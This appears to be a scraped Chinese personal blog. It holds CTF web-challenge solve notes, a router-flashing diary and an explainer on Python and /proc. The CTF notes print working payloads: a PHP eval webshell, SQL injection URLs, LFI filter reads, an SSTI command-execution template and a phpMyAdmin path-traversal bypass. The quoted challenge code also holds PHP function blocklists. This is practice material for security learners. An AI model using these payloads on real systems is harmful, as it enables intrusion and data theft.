seselectlect 1,group_concat(schema_name),3 frfromom infoorrmation_schema.schemata 所有库information_schema,mysql,performance_schema,test,ctf,geek 1,group_concat(table_name),3 infmation_schema.tables table_schema='geek' 表名b4bsql,geekuser 字段id,username,password 一番查找没找到数据,然后发现数据是在ctf库里的,寄 [ACTF2020 新生赛]BackupFile没啥东西index.php.bak然后源码就一个弱类型判断 [极客大挑战 2019]Upload文件上传,刚传了俩图片,跟我说不是image,有趣 MIME一改,文件名是phtml,内容是<script language='php'>@eval($_POST[cmd]);</script> easy http://55facc3d-3d22-4b90-b9c7-f95c9e3f005b.node4.buuoj.cn:81/upload/1.phtml 梭 [ACTF2020 新生赛]Upload[MRCTF2020]Ez_bypass简单,先是md5然后是is_numberic绕过,太简单了 [网鼎杯 2020 青龙组]AreUSerialz[网鼎杯 2020 朱雀组]phpwebfile_get_content直接读源码 123456789101112131415161718192021222324252627282930<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?> 命名空间绕过数组之后,没有权限写shell,太难受了,不知道flag被藏在了哪里,上bp扫一下吧 flag在/tmp下面flag{68a63dcd-6a3a-4a8c-bedb-7c15377fef29} [BSidesCF 2020]Had a bad day以为是sql注入,打了个'后发现是文件包含 1234Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37Warning: include(): Failed opening 'woofers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37 包含index.php 12345678910111213<?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?> PHP的文件包含,太简单了 php://filter/convert.base64-encode/resource=index/../flag [BJDCTF2020]Cookie is so stable用户名写到cookie里面,emm,貌似是ssti?但是过滤很严 留着之后写 [强网杯 2019]高明的黑客上来就送源码,666 我尼玛,几百个文件不会,过,之后做 SSRF me屎一样的一行代码,我吐了,找个美化后的代码 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100#! /usr/bin/env python# #encoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False @app.route("/geneSign", methods=['GET', 'POST'])def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST'])def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/')def index(): return open("code.txt","r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout" def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): return hashlib.md5(content).hexdigest() def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return Falseif __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=9999) 剩着等会写 [NCTF 2018]滴!晨跑打卡空格换%0a结尾用%27完事 12345information_schema,cgctf,mysql,performance_schemapcnumberid,bigtime,smalltime,flag 爆列名的时候,不知道咋回事,就是没回显,把cgctf换成十六进制就行了令人疑惑 http://1.14.71.254:28163/index.php?id=114514'%a0union%a0select%a0(select%a0group_concat(flag)%a0from%a0pcnumber),(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='cgctf'),(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name=0x70636E756D626572%a0limit%a01,1),4%a0%27 [ZJCTF 2019]NiZhuanSiWei建个小站,http发现连不上emmmmdata伪协议进去了data://text//plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= 提示useless.php 1234567891011121314<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?> 直接拔出来,很明显,反序列化 easy [HCTF 2018]WarmUpCVE-2018-12613 关键在mb_strpos($_page . '?', '?')导致真正读取的是最后一个?后面的文件,但是检查的时候只检查访问前面的文件,导致可以?file=hint.php?../../../../../../ffffllllaaaagggg绕过 [极客大挑战 2019]HardSQL报错注入updatexml,禁用空格直接用(),直接注进去了 [RoarCTF 2019]Easy Calc这题waf不会过,麻了,加个空格就可以了,撅了 后面绕过单双引号就直接用chr函数拼接了 [BJDCTF2020]EzPHP访问源代码看到了base64 1nD3x.php 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354 <?phphighlight_file(__FILE__);error_reporting(0); $file = "1nD3x.php";$shana = $_GET['shana'];$passwd = $_GET['passwd'];$arg = '';$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\\.|\\"|\\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); }if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>"; } } else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?<br>";} else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!");}if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\\`|\\{|\\%|x|\\&|\\$|\\*|\\||\\<|\\"|\\'|\\=|\\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\\.|log|\\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!Aqua is the cutest five-year-old child in the world! Isn't it ? 中所周知,easy从不easy,但是细看,还是easy 第一步$_SERVER,这个不会自动URL解码,传参可以直接进行URL编码,绕过第一层正则然后是正则,这个%0a换行绕过就行了然后便是hate English了,在这里有个特性,$_GET[‘a’]=1 $_POST[‘a’]=a 那么$_SERVER[‘a’]返回的是a,当get和post传的变量名义一样的时候,post会把get给覆盖掉,就可以绕过了。 确实easy,几个送分题拼在一起的整理一下 123456789GET:deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75a //伪协议&sh%61na[]=1&p%61sswd[]=2POST:debu=1file=1 最后一步,flag写shell [SWPUCTF 2018]SimplePHP进来查看文件?file=随便一试试,嗯哼 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209//file.php<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\\'t exists.'); } ?>//function.php<?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } //class.php<?phpclass C1e4r{ public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; }}class Show{ public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\\.\\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\\.\\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } }}class Test{ public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; }}?>//base.php<?php session_start(); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <nav class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="index.php">首页</a> </div> <ul class="nav navbar-nav navbra-toggle"> <li class="active"><a href="file.php?file=">查看文件</a></li> <li><a href="upload_file.php">上传文件</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> </ul> </div> </nav> </body> </html> <!--flag is in f1ag.php-->//index.php<?php header("content-type:text/html;charset=utf-8"); include 'base.php';?> //upload_file.php<?php include 'function.php'; upload_file(); ?> <html> <head> <meta charest="utf-8"> <title>文件上传</title> </head> <body> <div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1> </div> <style> p{ margin:0 auto} </style> <div> <form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </div> </script> </body> </html> 注释里面都把phar写上去了….phar反序列化没得跑了emmm [CISCN2019 华东南赛区]Double Secret看到一个Secret,不清楚出题人要干啥( 要传secret进去,传大数字进去 123456789101112File "/app/app.py", line 35, in secret if(secret==None): return 'Tell me your secret.I will encrypt it so others can\\'t see' rc=rc4_Modified.RC4("HereIsTreasure") #解密 deS=rc.do_crypt(secret) a=render_template_string(safe(deS)) if 'ciscn' in a.lower(): return 'flag detected!'Open an interactive python shell in this frame return 报错,能看源代码 之后便是ssti 1{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %} [CISCN2019 华东南赛区]Web4app.py 1234567891011121314151617181920212223242526272829303132333435363738394041# encoding:utf-8import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__)random.seed(uuid.getnode())app.config['SECRET_KEY'] = str(random.random()*233)app.debug = True@app.route('/')def index(): session['username'] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'@app.route('/read')def read(): try: url = request.args.get('url') m = re.findall('^file.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str(ex) return 'no response'@app.route('/flag')def flag(): if session and session['username'] == 'fuck': return open('/flag.txt').read() else: return 'Access denied'if __name__=='__main__': app.run( debug=True, host="0.0.0.0" ) session伪造,直接读?不对,key不对 debug出了,有任意文件读取,算pin /usr/local/bin/python/app/app.py 读取/proc/self/maps得到 /usr/local/bin/python2.7 ssti -> config -> session伪造 -> admin路由 之后不知道要干啥了()","link":"/2022/10/10/%E5%81%9A%E9%A2%98%E5%AF%84%E5%BD%95/"},{"title":"折腾路由器日记","text":"起因….闲来无事,刷刷视频,就点到了hak5的网站里面,然后就看到了一个大菠萝 很想要,但是太贵了,但我又想玩,一通搜索下,找到个好玩的仓库 其实这个大菠萝的固件用的是魔改的openwrt,在翻列表的时候,刚好看到了 诶嘿,刚好家里有个放了好几年的小米WIFI mini 其实本来是想给我的网件R8500刷一个的,关键这玩意连openwrt都没有适配,显然emmmmmm 资料:官方固件下载地址Breed 这里我的小米wifi mini用的是breed-mt7620-xiaomi-mini.binPineapple固件 一路折腾:首先是要开ssh,然后这机器好几年了,我搜的时候搜到了好几种版本的说法,我先是降级到0.8开发板,发现小米wifi绑不上了,然后是一步一步升级,升级之后又给我升成了稳定版,然后又是降级,最后才找到官网的教程不得不说,搜索引擎我还没用明白 其实不需要降级,直接进去,在系统更新那块选择手动升级把这里下载到的开发版固件刷上去就行了。然后打开小米wifi的app,登录自己的小米账号,进去后和路由器进行绑定。设置完成后前往申请一个ssh固件就行了 然后按照网站给的教程一步一步做就行了。 然后我回家的时候没把U盘带回去,我脑子一热,用我的阵列柜了,把分区一屏蔽,然后开个小的FAT32分区,给他刷一下 ssh开了,然后emmmmm 我阵列柜被格式化了 肥肠不错,大半夜的给自己找活干了,折腾一圈,扫了又扫,发现我是正版DeskGenius的受害者,盗版的打开来就全好了 ssh有了,然后是刷Breed,用nc和tar把固件啥的全备份一遍就开刷了 Breed刷进去之后就可以无脑玩了,此时路由器已经刷不坏了。直接把Pineapple固件刷进去 刷进去之后用网线链接,自带的DHCP服务会分配一个172的内网,访问http://172.16.42.1:1471/就可以开始玩了","link":"/2022/12/18/%E6%8A%98%E8%85%BE%E8%B7%AF%E7%94%B1%E5%99%A8%E6%97%A5%E8%AE%B0/"},{"title":"浅谈python与proc","text":"0x00 如果python open了一个文件,发生了什么?从进程的I/O来看,这个文件会先被缓存(buffered),这意味着在写入这个文件之前,它会被保存在一个临时的位置,而你对它的一切更改都是在更改这个缓存文件,python并不会清空这个缓存区除非程序确定你完成了对这个文件的修改,比如你把这个文件close()了 如果你写入了一个文件,但并没有close,数据并不会被修改,比如: 123456with open('file.txt','r') as file: #对文件的任何操作 file.close() #如果没有这个步骤,那么对文件的修改并不会被保存下来 0x01 /proc目录Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。 用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统是动态从系统内核读出所需信息并提交的。下面列出的这些文件或子文件夹,并不是都是在你的系统中存在,这取决于你的内核配置和装载的模块。另外,在/proc下还有三个很重要的目录:net,scsi和sys。 Sys目录是可写的,可以通过它来访问或修改内核的参数,而net和scsi则依赖于内核配置。例如,如果系统不支持scsi,则scsi 目录不存在。 除了以上介绍的这些,还有的是一些以数字命名的目录,它们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link。 目录 作用 /proc/buddyinfo 每个内存区中的每个order有多少块可用,和内存碎片问题有关 /proc/cmdline 启动时传递给kernel的参数信息 /proc/cpuinfo cpu的信息 /proc/crypto 内核使用的所有已安装的加密密码及细节 /proc/devices 已经加载的设备并分类 /proc/dma 已注册使用的ISA DMA频道列表 /proc/execdomains Linux内核当前支持的execution domains /proc/fb 帧缓冲设备列表,包括数量和控制它的驱动 /proc/filesystems 内核当前支持的文件系统类型 /proc/interrupts x86架构中的每个IRQ中断数 /proc/iomem 每个物理设备当前在系统内存中的映射 /proc/ioports 一个设备的输入输出所使用的注册端口范围 /proc/kcore 代表系统的物理内存,存储为核心文件格式,里边显示的是字节数,等于RAM大小加上4kb /proc/kmsg 记录内核生成的信息,可以通过/sbin/klogd或/bin/dmesg来处理 /proc/loadavg 根据过去一段时间内CPU和IO的状态得出的负载状态,与uptime命令有关 /proc/locks 内核锁住的文件列表 /proc/mdstat 多硬盘,RAID配置信息(md=multiple disks) /proc/meminfo RAM使用的相关信息 /proc/misc 其他的主要设备(设备号为10)上注册的驱动 /proc/modules 所有加载到内核的模块列表 /proc/mounts 系统中使用的所有挂载 /proc/mtrr 系统使用的Memory Type Range Registers (MTRRs) /proc/partitions 分区中的块分配信息 /proc/pci 系统中的PCI设备列表 /proc/slabinfo 系统中所有活动的 slab 缓存信息 /proc/stat 所有的CPU活动信息 /proc/sysrq-trigger 使用echo命令来写这个文件的时候,远程root用户可以执行大多数的系统请求关键命令,就好像在本地终端执行一样。要写入这个文件,需要把/proc/sys/kernel/sysrq不能设置为0。这个文件对root也是不可读的 /proc/uptime 系统已经运行了多久 /proc/swaps 交换空间的使用情况 /proc/version Linux内核版本和gcc版本 /proc/bus 系统总线(Bus)信息,例如pci/usb等 /proc/driver 驱动信息 /proc/fs 文件系统信息 /proc/ide ide设备信息 /proc/irq 中断请求设备信息 /proc/net 网卡设备信息 /proc/scsi scsi设备信息 /proc/tty tty设备信息 /proc/net/dev 显示网络适配器及统计信息 /proc/vmstat 虚拟内存统计信息 /proc/vmcore 内核panic时的内存映像 /proc/diskstats 取得磁盘信息 /proc/schedstat kernel调度器的统计信息 /proc/zoneinfo 显示内存空间的统计信息,对分析虚拟内存行为很有用 |以下是/proc目录中进程N的信息 目录 描述 /proc/N pid为N的进程信息 /proc/N/cmdline 进程启动命令 /proc/N/cwd 链接到进程当前工作目录 /proc/N/environ 进程环境变量列表 /proc/N/exe 链接到进程的执行命令文件 /proc/N/fd 包含进程相关的所有的文件描述符 /proc/N/maps 与进程相关的内存映射信息 /proc/N/mem 指代进程持有的内存,不可读 /proc/N/root 链接到进程的根目录 /proc/N/stat 进程的状态 /proc/N/statm 进程使用的内存的状态 /proc/N/status 进程状态信息,比stat/statm更具可读性 /proc/self 链接到当前正在运行的进程 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859-r--r--r-- 1 root root 0 Jan 5 14:48 buddyinfodr-xr-xr-x 4 root root 0 Jan 5 10:05 bus-r--r--r-- 1 root root 0 Jan 5 14:48 cgroups-r--r--r-- 1 root root 0 Jan 5 14:48 cmdline-r--r--r-- 1 root root 0 Jan 5 14:48 consoles-r--r--r-- 1 root root 0 Jan 5 14:48 cpuinfo-r--r--r-- 1 root root 0 Jan 5 14:48 crypto-r--r--r-- 1 root root 0 Jan 5 14:48 devices-r--r--r-- 1 root root 0 Jan 5 14:48 diskstats-r--r--r-- 1 root root 0 Jan 5 14:48 dmadr-xr-xr-x 2 root root 0 Jan 5 14:48 driver-r--r--r-- 1 root root 0 Jan 5 14:48 execdomains-r--r--r-- 1 root root 0 Jan 5 14:48 fb-r--r--r-- 1 root root 0 Jan 5 14:47 filesystemsdr-xr-xr-x 6 root root 0 Jan 5 10:05 fs-r--r--r-- 1 root root 0 Jan 5 14:48 interrupts-r--r--r-- 1 root root 0 Jan 5 14:48 iomem-r--r--r-- 1 root root 0 Jan 5 14:48 ioportsdr-xr-xr-x 25 root root 0 Jan 5 10:05 irq-r--r--r-- 1 root root 0 Jan 5 14:48 kallsymscrw-rw-rw- 1 root root 1, 3 Jan 5 10:05 kcore-r--r--r-- 1 root root 0 Jan 5 14:48 key-userscrw-rw-rw- 1 root root 1, 3 Jan 5 10:05 keys-r-------- 1 root root 0 Jan 5 14:48 kmsg-r-------- 1 root root 0 Jan 5 14:48 kpagecgroup-r-------- 1 root root 0 Jan 5 14:48 kpagecount-r-------- 1 root root 0 Jan 5 14:48 kpageflags-r--r--r-- 1 root root 0 Jan 5 14:48 loadavg-r--r--r-- 1 root root 0 Jan 5 14:48 locks-r--r--r-- 1 root root 0 Jan 5 14:48 mdstat-r--r--r-- 1 root root 0 Jan 5 14:48 meminfo-r--r--r-- 1 root root 0 Jan 5 14:48 misc-r--r--r-- 1 root root 0 Jan 5 14:48 moduleslrwxrwxrwx 1 root root 11 Jan 5 14:48 mounts -> self/mounts-rw-r--r-- 1 root root 0 Jan 5 14:48 mtrrlrwxrwxrwx 1 root root 8 Jan 5 14:48 net -> self/net-r-------- 1 root root 0 Jan 5 14:48 pagetypeinfo-r--r--r-- 1 root root 0 Jan 5 14:48 partitionsdr-xr-xr-x 2 root root 0 Jan 5 14:48 pressurecrw-rw-rw- 1 root root 1, 3 Jan 5 10:05 sched_debug-r--r--r-- 1 root root 0 Jan 5 14:48 schedstatdrwxrwxrwt 2 root root 40 Jan 5 10:05 scsilrwxrwxrwx 1 root root 0 Jan 5 10:05 self -> 4932-r-------- 1 root root 0 Jan 5 14:48 slabinfo-r--r--r-- 1 root root 0 Jan 5 14:48 softirqs-r--r--r-- 1 root root 0 Jan 5 14:48 stat-r--r--r-- 1 root root 0 Jan 5 14:48 swapsdr-xr-xr-x 1 root root 0 Jan 5 10:05 sys--w------- 1 root root 0 Jan 5 10:05 sysrq-triggerdr-xr-xr-x 2 root root 0 Jan 5 14:48 sysvipclrwxrwxrwx 1 root root 0 Jan 5 10:05 thread-self -> 4932/task/4932crw-rw-rw- 1 root root 1, 3 Jan 5 10:05 timer_listdr-xr-xr-x 4 root root 0 Jan 5 14:48 tty-r--r--r-- 1 root root 0 Jan 5 14:48 uptime-r--r--r-- 1 root root 0 Jan 5 14:48 version-r--r--r-- 1 root root 0 Jan 5 14:48 version_signature-r-------- 1 root root 0 Jan 5 14:48 vmallocinfo-r--r--r-- 1 root root 0 Jan 5 14:48 vmstat-r--r--r-- 1 root root 0 Jan 5 14:48 zoneinfo 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152-r--r--r-- 1 root root 0 Jan 5 14:48 arch_statusdr-xr-xr-x 2 root root 0 Jan 5 14:48 attr-rw-r--r-- 1 root root 0 Jan 5 14:48 autogroup-r-------- 1 root root 0 Jan 5 14:48 auxv-r--r--r-- 1 root root 0 Jan 5 14:48 cgroup--w------- 1 root root 0 Jan 5 14:48 clear_refs-r--r--r-- 1 root root 0 Jan 5 14:48 cmdline-rw-r--r-- 1 root root 0 Jan 5 14:48 comm-rw-r--r-- 1 root root 0 Jan 5 14:48 coredump_filter-r--r--r-- 1 root root 0 Jan 5 14:48 cpusetlrwxrwxrwx 1 root root 0 Jan 5 14:48 cwd -> /-r-------- 1 root root 0 Jan 5 14:48 environlrwxrwxrwx 1 root root 0 Jan 5 14:48 exe -> /usr/bin/python3.10dr-x------ 2 root root 0 Jan 5 14:48 fddr-x------ 2 root root 0 Jan 5 14:48 fdinfo-rw-r--r-- 1 root root 0 Jan 5 14:48 gid_map-r-------- 1 root root 0 Jan 5 14:48 io-r--r--r-- 1 root root 0 Jan 5 14:48 limits-rw-r--r-- 1 root root 0 Jan 5 14:48 loginuiddr-x------ 2 root root 0 Jan 5 14:48 map_files-r--r--r-- 1 root root 0 Jan 5 14:48 maps-rw------- 1 root root 0 Jan 5 14:48 mem-r--r--r-- 1 root root 0 Jan 5 14:48 mountinfo-r--r--r-- 1 root root 0 Jan 5 14:48 mounts-r-------- 1 root root 0 Jan 5 14:48 mountstatsdr-xr-xr-x 6 root root 0 Jan 5 14:48 netdr-x--x--x 2 root root 0 Jan 5 14:48 ns-r--r--r-- 1 root root 0 Jan 5 14:48 numa_maps-rw-r--r-- 1 root root 0 Jan 5 14:48 oom_adj-r--r--r-- 1 root root 0 Jan 5 14:48 oom_score-rw-r--r-- 1 root root 0 Jan 5 14:48 oom_score_adj-r-------- 1 root root 0 Jan 5 14:48 pagemap-r-------- 1 root root 0 Jan 5 14:48 patch_state-r-------- 1 root root 0 Jan 5 14:48 personality-rw-r--r-- 1 root root 0 Jan 5 14:48 projid_maplrwxrwxrwx 1 root root 0 Jan 5 14:47 root -> /-rw-r--r-- 1 root root 0 Jan 5 14:48 sched-r--r--r-- 1 root root 0 Jan 5 14:48 schedstat-r--r--r-- 1 root root 0 Jan 5 14:48 sessionid-rw-r--r-- 1 root root 0 Jan 5 14:48 setgroups-r--r--r-- 1 root root 0 Jan 5 14:48 smaps-r--r--r-- 1 root root 0 Jan 5 14:48 smaps_rollup-r-------- 1 root root 0 Jan 5 14:48 stack-r--r--r-- 1 root root 0 Jan 5 14:48 stat-r--r--r-- 1 root root 0 Jan 5 14:48 statm-r--r--r-- 1 root root 0 Jan 5 14:48 status-r-------- 1 root root 0 Jan 5 14:48 syscalldr-xr-xr-x 3 root root 0 Jan 5 14:48 task-r--r--r-- 1 root root 0 Jan 5 14:48 timers-rw-rw-rw- 1 root root 0 Jan 5 14:48 timerslack_ns-rw-r--r-- 1 root root 0 Jan 5 14:48 uid_map-r--r--r-- 1 root root 0 Jan 5 14:48 wchan 0x02 如果python open了一个文件,/proc 发生了什么?运行如下代码: 12345678import osprint(os.getpid())flag = open('./flag','r')os.remove('./flag')b = input() #阻止Python运行结束 来到pid目录下的/fd目录 12345678root@VM-8-17-ubuntu:/proc/59428/fd# ls -latotal 0dr-x------ 2 root root 0 Jan 5 23:04 .dr-xr-xr-x 9 root root 0 Jan 5 23:03 ..lrwx------ 1 root root 64 Jan 5 23:06 0 -> /dev/pts/0lrwx------ 1 root root 64 Jan 5 23:06 1 -> /dev/pts/0lrwx------ 1 root root 64 Jan 5 23:06 2 -> /dev/pts/0lr-x------ 1 root root 64 Jan 5 23:06 3 -> /home/ubuntu/python/flag 这个时候,使用rm -rf ./flag命令删除,再回到这个目录 12345678root@VM-8-17-ubuntu:/proc/59428/fd# ls -latotal 0dr-x------ 2 root root 0 Jan 5 23:04 .dr-xr-xr-x 9 root root 0 Jan 5 23:03 ..lrwx------ 1 root root 64 Jan 5 23:06 0 -> /dev/pts/0lrwx------ 1 root root 64 Jan 5 23:06 1 -> /dev/pts/0lrwx------ 1 root root 64 Jan 5 23:06 2 -> /dev/pts/0lr-x------ 1 root root 64 Jan 5 23:06 3 -> '/home/ubuntu/python/flag (deleted)' 如果尝试cat /proc/{pid}/fd/3就可以发现,被删除的flag能被cat出来。 123456789101112root@VM-8-17-ubuntu:/proc/59428/fd# ls0 1 2 3root@VM-8-17-ubuntu:/proc/59428/fd# ls -latotal 0dr-x------ 2 root root 0 Jan 5 23:04 .dr-xr-xr-x 9 root root 0 Jan 5 23:03 ..lrwx------ 1 root root 64 Jan 5 23:06 0 -> /dev/pts/0lrwx------ 1 root root 64 Jan 5 23:06 1 -> /dev/pts/0lrwx------ 1 root root 64 Jan 5 23:06 2 -> /dev/pts/0lr-x------ 1 root root 64 Jan 5 23:06 3 -> '/home/ubuntu/python/flag (deleted)'root@VM-8-17-ubuntu:/proc/59428/fd# cat 3testtest 0x03 再进一步?首先,看一下/proc/$pid/maps显示$ pid的内存内容以与过程中相同的方式映射,即,伪文件中偏移量x处的字节与过程中地址x处的字节相同。如果在此过程中未映射地址,则从文件中的相应偏移量读取将返回EIO(输入/输出错误)。例如,由于进程中的第一页从未映射过(因此,对NULL指针的引用完全失败,而不是意外访问实际内存),因此读取/proc/$pid/mem的第一个字节总是会产生I / O错误。找出/proc/$pid/maps映射出了过程存储器的哪些部分。该文件每个映射的区域包含一行,如下所示: 1208048000-08054000 r-xp 00000000 08:01 828061 /bin/cat08c9b000-08cbc000 rw-p 00000000 00:00 0 [heap] 